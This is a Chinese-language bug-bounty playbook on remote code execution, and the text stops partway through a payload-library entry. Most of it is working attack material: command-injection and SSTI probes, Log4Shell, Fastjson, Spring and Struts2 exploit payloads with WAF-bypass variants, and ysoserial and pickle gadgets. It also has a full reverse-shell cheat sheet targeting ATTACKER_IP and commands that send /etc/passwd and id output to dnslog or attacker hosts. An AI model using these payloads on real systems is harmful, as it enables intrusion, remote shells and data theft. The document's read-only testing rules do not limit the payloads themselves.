120 KiB
远程代码执行 (RCE)
视角:黑盒,单包打穿是首选;带外回显是无回显场景的救命稻草
1. 一句话说清
RCE = 在目标服务器上执行任意命令。 SRC 价值:所有漏洞类型中最高,未授权 RCE 通常 $5k–$50k+。 两条路:(a) 命令注入(拼接系统命令);(b) 反序列化 / 表达式注入(运行时 evaluate)。
2. 高频入口点(统计 + 类别)
2.1 框架 / 中间件类(指纹漏洞)
| 类型 | 案例数 | 入口指纹 |
|---|---|---|
| Struts2 | 23 | URL 含 .action、.do,响应 Server: Apache-Coyote |
| WebLogic | 5 | 7001 端口 + /console/ |
| JBoss | 9 | /jmx-console/、/invoker/ |
| Tomcat | 9 | 8080 + /manager/html |
| Spring | 4 | Server: spring、X-Application-Context |
| ElasticSearch | 8 | 9200 + Lucene 1.x |
| Fastjson | - | 响应 / 错误页含 com.alibaba.fastjson |
| Log4j | - | 处处可能(任何日志记录的输入点) |
| Redis | 4 | 6379(详见 unauth-access) |
| Jenkins | - | 8080 + /manage、/script |
| Zabbix | 2 | 80 + Zabbix SIA |
2.2 命令注入入口(功能特征)
| 功能 | 案例数 | 参数 |
|---|---|---|
| 网络诊断(ping / nslookup / traceroute) | 13 | host、ip、target |
| 文件操作(解压 / 转换) | 34 | filename、path |
| 图片处理 | 12 | image、file |
| URL 抓取 | 12 | url、callback |
| DNS 查询 | 8 | domain |
| 备份 / 任务调度 | - | cmd、task、job |
2.3 反序列化入口
# Java
Cookie / Authorization 含 base64 二进制(rO0AB 开头 = Java 序列化)
ViewState(ASP.NET)
__viewstate / __eventvalidation
sessionid 含 Java 序列化数据
# PHP
unserialize() 接受用户输入(O:8: 开头)
phar:// 协议触发自动反序列化
# Python
pickle.loads() 接受用户输入
yaml.load() 不安全调用
# Ruby
Marshal.load() 接受 cookie / 参数
3. 探测手法
3.1 命令注入探针表
# 拼接符
target=127.0.0.1; id
target=127.0.0.1| id
target=127.0.0.1|| id
target=127.0.0.1 && id
target=127.0.0.1 & id
target=127.0.0.1 `id`
target=127.0.0.1 $(id)
target=127.0.0.1%0aid # URL 换行
target=127.0.0.1%0d%0aid
# 时间盲(无回显时)
target=127.0.0.1; sleep 5
target=127.0.0.1 && ping -c 5 127.0.0.1
target=127.0.0.1 || sleep 5
# DNSLog 外带
target=127.0.0.1;ping -c 1 `whoami`.xxx.dnslog.cn
target=127.0.0.1;curl `cat /etc/passwd|base64|tr -d '\n'`.xxx.dnslog.cn
# Windows
target=127.0.0.1 & whoami
target=127.0.0.1 | whoami
3.2 模板注入 / 表达式注入探针
| 技术 | 探针 | 命中后 |
|---|---|---|
| SSTI(Jinja2) | {{7*7}} → 49 |
{{config}}、{{request.application.__globals__}} |
| SSTI(Twig) | {{7*7}} → 49 |
{{_self.env.registerUndefinedFilterCallback("system")}} |
| SSTI(Freemarker) | ${7*7} → 49 |
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")} |
| SSTI(Velocity) | #set($x=7*7)$x → 49 |
Runtime.exec |
| SSTI(Smarty) | {$smarty.version} → 显示版本 |
{system('id')} |
| SpEL(Spring) | #{7*7} 或 ${7*7} |
T(java.lang.Runtime).getRuntime().exec("id") |
| OGNL(Struts2) | %{7*7} |
见 Struts2 表达式 |
| EL(JSP) | ${7*7} |
EL injection 链 |
| JEXL | 7*7 在 JEXL 上下文 |
- |
3.3 Log4Shell 通用探针(每个输入点都试)
${jndi:ldap://${hostName}.${env:USER}.xxx.dnslog.cn/a}
${jndi:ldap://xxx.dnslog.cn/a}
${jndi:dns://xxx.dnslog.cn/a} # 不需出网 LDAP,DNS 即可
${jndi:rmi://xxx.dnslog.cn:1099/a}
# 绕过 WAF
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://x.dnslog.cn/a}
${${lower:j}ndi:${lower:l}dap://x.dnslog.cn/a}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//x.dnslog.cn/a}
# 带数据外带
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.x.dnslog.cn/a}
${jndi:ldap://${sys:java.version}.x.dnslog.cn/a}
${jndi:ldap://${env:USER}.x.dnslog.cn/a}
插入点:每一个会被记日志的字段都打:
User-AgentRefererX-Forwarded-ForX-Api-VersionCookie- 用户名 / 邮箱字段
- 上传文件名
- chat / comment / search 关键词
3.4 反序列化探针
# Java(ysoserial)
java -jar ysoserial-all.jar URLDNS "http://xxx.dnslog.cn"
# 把生成的 base64 放到 Cookie / ViewState / Authorization
# 验证 Java 序列化
echo "input" | base64 -d | xxd | head -1
# rO0AB 开头 = Java serialized
# 通用 gadget chain(按依赖判断)
ysoserial CommonsCollections1
ysoserial CommonsCollections5
ysoserial CommonsBeanutils1
ysoserial Hibernate1
ysoserial Spring1
ysoserial Jdk7u21 # JDK 自带
# .NET ViewState
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc"
# Python pickle
import pickle, os, base64
class Exp:
def __reduce__(self):
return (os.system, ("curl xxx.dnslog.cn",))
print(base64.b64encode(pickle.dumps(Exp())))
3.5 Fastjson 探针
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx.dnslog.cn/a","autoCommit":true}
3.6 Spring4Shell 探针
POST /vulnerable
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test
200 + 不报错 = 可能存在;进一步配合 Tomcat AccessLogValve 写 webshell。
3.7 OGNL(Struts2)探针
S2-045
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data
3.8 上传 + 解析配合(Webshell)
1. 上传图片马(GIF89a + <?php @eval($_POST[c]);?>)→ shell.jpg
2. 利用 Apache 多后缀 / Nginx fix_pathinfo / IIS 解析触发
- Apache: shell.php.x → 当 PHP 解析
- Nginx: shell.jpg/.php → PHP-CGI 处理
- IIS6: shell.asp;.jpg → 当 ASP
3. 访问触发 → RCE
详见 playbooks/file-upload.md。
4. Bypass 矩阵
完整内容见 methodology/02-bypass-toolkit.md 第 4 章。关键速记:
| 拦 | 绕 |
|---|---|
| 空格 | ${IFS}、${IFS}$9、%09、{cat,/etc/passwd}、< |
cat 关键字 |
c'a't、c\at、tac、/bin/c?t、/???/??t |
; | |
%0a、%0d、&&、||、` |
| 命令字过滤 | base64:echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh |
| 出网拦截 | DNS 外带(53 几乎不拦) |
关键字 jndi |
${${lower:j}ndi:...}、${${::-j}ndi:...} |
| 长度限制 | 短链 / shorthand 域名 / id|nc x.cc 80 |
5. 利用提权 / 横向
5.1 反弹 shell
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# PHP
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
# Ruby
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# Netcat
nc -e /bin/sh ATTACKER_IP PORT
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f
# Windows PowerShell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
5.2 SRC 测试不要反弹 shell
仅做以下"无副作用"证明:
# 验证执行
id
whoami
hostname
uname -a
cat /etc/hostname
# 外带证明
curl https://attacker.cc/?d=$(id|base64)
ping -c 1 $(whoami).xxx.dnslog.cn
# 读取证明(避免敏感数据)
ls /
cat /etc/passwd | head -3
cat /etc/issue
禁止:/etc/shadow、生产数据库连接、写文件、删文件、留 shell。
5.3 价值升级链
命令注入 (无 root)
→ 读 /etc/passwd, /proc/self/environ
→ 找 ssh key, .bash_history
→ 提权(看是否 root,看 sudo -l,看 SUID)
→ 横向(看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json)
→ SRC 报告时停在"id 输出 / hostname 输出"即可,不要做提权 / 横向
除非靶方明确允许"内网测试"
6. 真实案例指纹
6.1 Log4Shell (CVE-2021-44228)
| 项目 | 值 |
|---|---|
| 影响版本 | Log4j 2.0 – 2.14.1 |
| 修复版本 | 2.17.0+(2.15 / 2.16 仍有绕过) |
| 黑盒指纹 | 任何被记录的输入点都可能触发 |
| 探针 | ${jndi:dns://x.dnslog.cn/a},DNSLog 收到 = 命中 |
| CVSS | 10.0 Critical |
6.2 Spring4Shell (CVE-2022-22965)
| 项目 | 值 |
|---|---|
| 触发条件 | JDK 9+ + Spring 5.3.0–5.3.17 / 5.2.0–5.2.19 + WAR 部署 |
| 黑盒指纹 | class.module.classLoader.resources.context.parent.pipeline.first.pattern= 不报错 |
| CVSS | 9.8 Critical |
6.3 Fastjson 反序列化
| CVE | 版本 | 关键 |
|---|---|---|
| CVE-2017-18349 | < 1.2.25 | @type 直接利用 |
| CVE-2019-12384 | 1.2.25–1.2.47 | 缓存绕过 |
| - | 1.2.48–1.2.67 | 各种 gadget |
| - | 1.2.68–1.2.80 | expectClass 绕过 |
| - | < 1.2.83 | 仍有风险 |
黑盒指纹:响应 / 错误页提到 fastjson、com.alibaba.fastjson,或 POST JSON 后报特定异常。
探针:
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
DNSLog 收到 = 至少 Fastjson 解析了 @type,进一步用 1.2.47 绕过链:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x/a","autoCommit":true}}
6.4 Struts2 系列
| CVE | 版本 | 触发 |
|---|---|---|
| S2-001 | 2.0.0–2.0.8 | OGNL 直接 |
| S2-005 | 2.0.0–2.1.8.1 | ('#'+a)(...) |
| S2-009 | 2.1.0–2.3.1.1 | 修复绕过 |
| S2-013 | 2.0.0–2.3.14 | redirect:、action: |
| S2-016 | 2.0.0–2.3.15 | redirect/action 命令 |
| S2-019 | 2.0.0–2.3.15.1 | 动态方法调用 |
| S2-032 | 2.3.20–2.3.28 | 同上 |
| S2-045 | 2.3.5–2.3.31 | Content-Type: %{...}.multipart/form-data |
| S2-046 | 2.3.5–2.3.31 | Content-Disposition |
| S2-048 | 2.3.x + Struts1 | Struts1 插件 |
| S2-052 | 2.1.2–2.3.33 | REST 插件 XML 反序列化 |
| S2-053 | 2.0.1–2.3.33 | Freemarker |
| S2-057 | 2.0.4–2.3.34 | namespace |
通用探针:
POST / HTTP/1.1
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',123*123)}.multipart/form-data
响应 Header 出现 X-Test: 15129 = 命中。
6.5 ImageMagick "ImageTragick" (CVE-2016-3714)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/"|bash -i >& /dev/tcp/x/x 0>&1")'
pop graphic-context
影响:上传 .mvg / 含 EXIF SVG 触发 ImageMagick 处理时。
6.6 FFmpeg HLS SSRF / 文件读
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
concat:file:///etc/passwd
#EXT-X-ENDLIST
6.7 ElasticSearch Groovy (CVE-2014-3120 / 2015-1427)
POST /_search
{"script_fields":{"e":{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
6.8 ThinkPHP
| 版本 | CVE | 触发 |
|---|---|---|
| 5.0.0–5.0.23 | CVE-2018-20062 | ?s=captcha + _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id |
| 5.1.x | - | 反序列化 |
| 6.0.x | CVE-2022-38627 | 多语言 RCE |
6.9 Jenkins Script Console
访问 http://target:8080/script
(如果未授权或弱口令)
> def cmd = "id"
> println cmd.execute().text
6.10 WebLogic 反序列化
| CVE | 触发 |
|---|---|
| CVE-2017-10271 | /wls-wsat/CoordinatorPortType SOAP XMLDecoder |
| CVE-2018-2628 | T3 反序列化 |
| CVE-2019-2725 | /_async/AsyncResponseService |
| CVE-2020-2551 | IIOP |
| CVE-2020-14882 | 后台 RCE(bypass admin) |
7. 复现 / 证据要点
7.1 报告必备
- 完整 HTTP 请求 + 响应
- 执行证据:
id输出截图、DNSLog 收到记录的截图(含时间、域名、源 IP) - 影响断言:能拿到什么权限(user / root),不要做实际提权
- CVSS vector
7.2 DNSLog 证据样式
DNSLog 平台:dnslog.cn
监听域名:abcdef.xxx.dnslog.cn
记录:
Time Source IP Subdomain
2025-05-09 14:23:11 UTC 3.x.x.x test.abcdef.xxx.dnslog.cn
源 IP 3.x.x.x 经反查为 target.com 的出口 IP(AWS us-west-2)。
完整日志见附件 dnslog_screenshot.png。
7.3 命令输出样式
请求:
POST /api/util/ping HTTP/1.1
...
body: {"host":"127.0.0.1; id"}
响应(关键片段):
PING 127.0.0.1 ...
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
7.4 CVSS
未授权 RCE CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical
认证后 RCE CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High
RCE 需用户交互 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
7.5 影响段示例
通过 /api/util/ping 接口的 host 参数,攻击者可注入任意 OS 命令并由 www-data
身份执行。攻击者可:
1. 读取应用配置(/etc/issue、application.properties);
2. 横向至内网(参考已暴露的 ip route、/etc/hosts 信息);
3. 在不修复的情况下,可通过 SUID 二进制 / sudo 提权至 root。
测试证据:
- 单包打穿(无需登录)
- 命令 `id` 输出 uid=33(www-data)
- DNSLog 收到带外回显(附件 1)
- 复现 5/5 次
相关 MCP 工具
实战中可调用 jshookmcp 完成自动化。默认 search profile 未预加载工具,调用前先用 mcp__jshook__activate_tools <工具名> 激活(详见 ../tools/mcp-jshook.md §推荐 profile)。
| 工具 | 域 | 调用时机 |
|---|---|---|
mcp__jshook__wasm_disassemble + mcp__jshook__wasm_decompile |
wasm | 业务侧 WASM 模块逆向 / 反序列化 sink 定位 |
mcp__jshook__antidebug_bypass |
antidebug | 目标主动反调试时先绕过再下断 |
mcp__jshook__generate_hooks + mcp__jshook__frida_run_script |
binary-instrument | Frida hook 验证 RCE 落点(只读命令) |
mcp__jshook__electron_ipc_sniff |
platform | Electron 桌面端 IPC 漏洞观察 |
mcp__jshook__mojo_monitor + mcp__jshook__syscall_start_monitor |
mojo-ipc / syscall-hook | Chromium 内核漏洞研究 / 系统调用留证 |
8. 不要做的事
- 禁:在目标上反弹 shell。只跑只读命令:
id、whoami、uname -a、cat /etc/issue。 - 禁:写入文件 / 留 webshell / 修改任何文件。
- 禁:尝试本地提权(sudo、SUID 利用、kernel exploit)。
- 禁:访问
/etc/shadow、SSH 私钥、生产数据库凭据。 - 禁:Log4Shell 之类用 LDAP gadget 实际加载远程类——只用 DNS 外带证明触发即可。
- 禁:用 ysoserial 实际发起 reverse shell;用
URLDNSgadget 仅做出网证明。 - 限速:单测试 1–2 rps,避免触发风控。
- 报告中完整的命令输出可以贴,但主机名 / 内网 IP / 用户名要脱敏到看不出具体业务。
H1 真实案例
共 385 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|---|---|---|---|---|
| Critical | 20160 usd | X / xAI | Potential pre-auth RCE on Twitter VPN | Hi, we(Orange Tsai and Meh Chang) are the security research team from DEVCORE |
| Critical | 25000 usd | Snapchat | Exposed Kubernetes API - RCE/Exposed Creds | Exposed Kubernetes API - RCE/Exposed Creds |
| Critical | 30000 usd | PayPal | RCE via npm misconfig -- installing internal libraries from the public registry | RCE via npm misconfig -- installing internal libraries from the public registry |
| Critical | 15000 usd | PlayStation | Websites Can Run Arbitrary Code on Machines Running the 'PlayStation Now' Application | Websites Can Run Arbitrary Code on Machines Running the 'PlayStation Now' Application |
| Critical | 12000 usd | GitLab | Git flag injection - local file overwrite to remote code execution | Summary The wiki_blobs scope of the Search API can be provided with an arbitrary ref parameter, allowing for additional fla… |
| Critical | — | Semrush | Remote Code Execution on www.semrush.com/my_reports on Logo upload | The Logo upload in the report constructor at: https://www.semrush.com/my_reports/constructor {F340480} is passed through a not … |
| Critical | 33510 usd | GitLab | Remote Command Execution via Github import | Summary This is very similar to https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/#… |
| Critical | 20000 usd | GitLab | RCE when removing metadata with ExifTool | Summary When uploading image files, GitLab Workhorse passes any files with the extensions jpg/jpeg/tiff through to ExifTool to … |
| Critical | 33510 usd | GitLab | RCE via the DecompressedArchiveSizeValidator and Project BulkImports (behind feature flag) | Summary The DecompressedArchiveSizeValidator is used to check the size of a archive before extracting it: https://gitlab.com/… |
| Critical | — | Starbucks | Webshell via File Upload on ecjobs.starbucks.com.cn | Summary:** OS Command Injection which can let the attacker who get more important information of the server,such as disclosures… |
| Critical | 12000 usd | GitLab | Local files could be overwritten in GitLab, leading to remote command execution | Summary Arbitrary file overwrite A new feature (download a directory of a repository) in GitLab 11.11 introduced some changes i… |
| Critical | 20000 usd | GitLab | RCE via unsafe inline Kramdown options when rendering certain Wiki pages | Summary When rendering wiki content with certain extensions such as .rmd, render_wiki_content will call `other_markup_unsaf… |
命中本类的 weakness 分布:
- Code Injection:138 条
- Command Injection - Generic:101 条
- OS Command Injection:43 条
- Deserialization of Untrusted Data:33 条
- Uncategorized → 手工归类:27 条
- XML External Entities (XXE):22 条
- Remote File Inclusion:5 条
- Resource Injection:4 条
- Type Confusion:2 条
- Use of Inherently Dangerous Function:2 条
- ASI05: Unexpected Code Execution (RCE):1 条
- File Content Injection:1 条
- Inclusion of Functionality from Untrusted Control Sphere:1 条
- Leftover Debug Code (Backdoor):1 条
- Download of Code Without Integrity Check:1 条
- Exposed Dangerous Method or Function:1 条
- XML Entity Expansion:1 条
- Embedded Malicious Code:1 条
Payload 库
55 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体
类别分布: 框架漏洞 (18) · RCE远程代码执行 (12) · SSTI模板注入 (10) · XXE实体注入 (9) · 供应链攻击 (3) · 原型链污染 (3)
· 框架漏洞
Log4j RCE (Log4Shell) log4j-rce
Apache Log4j远程代码执行漏洞
子类:Log4j · tags: log4j rce cve-2021-44228 log4shell
前置条件: 使用Log4j 2.x版本;用户输入被记录到日志
攻击链:
1. 1. 探测漏洞 探测Log4j漏洞
在任意输入点注入:
${jndi:ldap://attacker.com/test}
观察是否有DNS回调
2. 2. DNS外带测试 外带敏感信息
${jndi:ldap://${env:USER}.attacker.com}
${jndi:ldap://${sys:java.version}.attacker.com}
外带环境变量或系统属性
3. 3. 构造恶意LDAP服务器 构造RCE payload
使用JNDIExploit或rogue-jndi:
java -jar JNDIExploit.jar -i attacker.com
构造payload:
${jndi:ldap://attacker.com:1389/Basic/Command/base64/d2hvYW1p}
4. 4. 获取Shell [linux] 获取反弹Shell
${jndi:ldap://attacker.com:1389/Basic/Command/base64/YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci80NDQ0IDA+JjE=}
Base64解码为: bash -i >& /dev/tcp/attacker/4444 0>&1
WAF/EDR 绕过变体:
1. 绕过关键字过滤 使用嵌套表达式绕过
${${lower:j}ndi:ldap://attacker.com}
${${upper:j}ndi:${lower:l}dap://attacker.com}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com}
2. 绕过特殊字符过滤 构造协议字符串
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com}
${jndi:dns://attacker.com}
Spring Actuator漏洞 spring-actuator
Spring Boot Actuator端点安全漏洞
子类:Spring · tags: spring actuator rce java
前置条件: Spring Boot应用;Actuator端点暴露
攻击链:
1. 1. 探测Actuator端点 探测暴露的Actuator端点
/actuator
/actuator/env
/actuator/health
/actuator/mappings
/actuator/configprops
/actuator/heapdump
2. 2. 获取敏感信息 获取环境变量和配置
/actuator/env
查看数据库密码、API密钥等
/actuator/configprops
查看配置属性
3. 3. 下载堆转储 下载并分析堆转储
curl -o heapdump http://target.com/actuator/heapdump
使用Memory Analyzer Tool分析
搜索password、secret等关键词
4. 4. env端点RCE 通过env端点执行命令
POST /actuator/env
Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('String exec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} return null;}')
POST /actuator/restart
WAF/EDR 绕过变体:
1. 路径遍历与分号参数技巧 Spring框架的分号路径参数特性允许在URL中插入分号段绕过路径匹配规则,结合双编码和路径穿越访问被限制的Actuator端点
# 分号路径参数绕过(Spring特性):
/;/actuator/env
/actuator;.js/env
/actuator/..;/actuator/env
# 双URL编码:
/%61%63%74%75%61%74%6f%72/env
/actuator/%65%6e%76
# 路径穿越:
/random/../actuator/env
/api/v1/../../actuator/heapdump
2. HTTP方法覆盖与Content-Type绕过 使用X-HTTP-Method-Override头覆盖请求方法,或通过非标准Content-Type和大小写变体绕过WAF对Actuator端点的POST请求拦截
# HTTP方法覆盖:
GET /actuator/env HTTP/1.1
X-HTTP-Method-Override: POST
# Content-Type绕过:
POST /actuator/env HTTP/1.1
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://attacker.com/payload.yml
# 大小写绕过:
/Actuator/Env
/ACTUATOR/ENV
Fastjson RCE fastjson-rce
Alibaba Fastjson反序列化远程代码执行
子类:Fastjson · tags: fastjson rce deserialization java
前置条件: 使用Fastjson库;存在反序列化点
攻击链:
1. 1. 探测Fastjson 探测Fastjson版本
发送JSON请求,观察响应:
{"@type":"java.net.Inet4Address","val":"attacker.com"}
观察是否有DNS回调
2. 2. JNDI注入 JNDI注入RCE
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}
3. 3. 搭建恶意服务 搭建恶意LDAP/RMI服务
使用JNDIExploit:
java -jar JNDIExploit.jar -i attacker.com
或使用marshalsec:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://attacker.com:8080/#Exploit 1389
4. 4. 绕过AutoType检查 绕过AutoType黑名单
1.2.47版本绕过:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
WAF/EDR 绕过变体:
1. Unicode编码与嵌套JSON绕过 通过Unicode(\u0040)、十六进制(\x40)编码@type字段名或嵌套JSON结构绕过WAF对Fastjson特征的检测
# Unicode编码@type:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
# 十六进制编码:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
# 嵌套JSON混淆:
{"a":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
2. BCEL ClassLoader与版本特异链 针对不同Fastjson版本使用特异性利用链:BCEL ClassLoader加载字节码、1.2.47缓存投毒、1.2.68 expectClass白名单绕过
# BCEL ClassLoader(Fastjson 1.1.15-1.2.24):
{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader","":"$$BCEL$$$l$8b..."}
# Fastjson 1.2.47 AutoType绕过:
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}}
# Fastjson 1.2.68 expectClass绕过:
{"@type":"java.lang.AutoCloseable","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}
Spring SpEL注入 spring-spel
Spring表达式语言注入攻击
子类:Spring SpEL · tags: spring spel expression rce
前置条件: 使用Spring框架;存在SpEL注入点
攻击链:
1. 1. 探测SpEL注入 探测SpEL注入点
# 测试表达式执行
${7*7}
#{7*7}
${T(java.lang.Runtime).getRuntime()}
# 观察响应
# 如果返回49或执行成功则存在漏洞
2. 2. 命令执行 执行系统命令
# Runtime执行命令
${T(java.lang.Runtime).getRuntime().exec("id")}
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
# ProcessBuilder
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
#{new java.lang.ProcessBuilder(new String[]{"cmd","/c","whoami"}).start()}
# 反弹Shell
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}
3. 3. 文件读取 读取敏感文件
# 读取文件
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd").getInputStream())}
# 使用Scanner
#{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cat /etc/passwd").getInputStream()).useDelimiter("\\A").next()}
# 直接读取
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get("/etc/passwd"))}
4. 4. DNS外带 DNS外带数据
# DNS外带数据
${T(java.net.InetAddress).getByName("attacker.com")}
# 外带文件内容
${T(java.net.InetAddress).getByName(T(java.lang.String).valueOf(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/etc/passwd"))).substring(0,20)+".attacker.com")}
WAF/EDR 绕过变体:
1. 字符串拼接 字符串拼接绕过
# 绕过关键字过滤
${T(java.lang.Run"+"time).getRun"+"time().exec("id")}
#{T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("exec",T(String)).invoke(T(String).getClass().forName("java.la"+"ng.Runtime").getMethod("getRuntime").invoke(null),"id")}
2. 反射绕过 反射绕过
# 使用反射
#{T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Class).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# 使用ScriptEngine
#{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\"id\\")")}
Spring Cloud漏洞 spring-cloud
Spring Cloud相关漏洞利用
子类:Spring Cloud · tags: spring cloud rce deserialization
前置条件: 使用Spring Cloud;存在漏洞版本
攻击链:
1. 1. Spring Cloud Gateway RCE Spring Cloud Gateway RCE
# CVE-2022-22947
# 添加恶意路由
POST /actuator/gateway/routes/hack HTTP/1.1
Content-Type: application/json
{
"id": "hack",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
# 刷新路由
POST /actuator/gateway/refresh
# 查看结果
GET /actuator/gateway/routes/hack
2. 2. Spring Cloud Function SpEL Spring Cloud Function SpEL注入
# CVE-2022-22963
# 修改请求头触发SpEL
POST /functionRouter HTTP/1.1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: text/plain
payload
3. 3. Spring Cloud Netflix Spring Cloud Netflix漏洞
# CVE-2020-5410 目录遍历
GET /..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd
# Eureka Server SSRF
POST /eureka/apps
# 配置serviceUrl指向内网服务
WAF/EDR 绕过变体:
1. 编码绕过 编码绕过
# URL编码绕过
..%252f = ..%2f = ../
# 双重URL编码
..%252f..%252f
Struts2远程代码执行 struts2-rce
Apache Struts2框架RCE漏洞
子类:Struts2 · tags: struts2 rce java apache
前置条件: 使用Struts2框架;存在漏洞版本
攻击链:
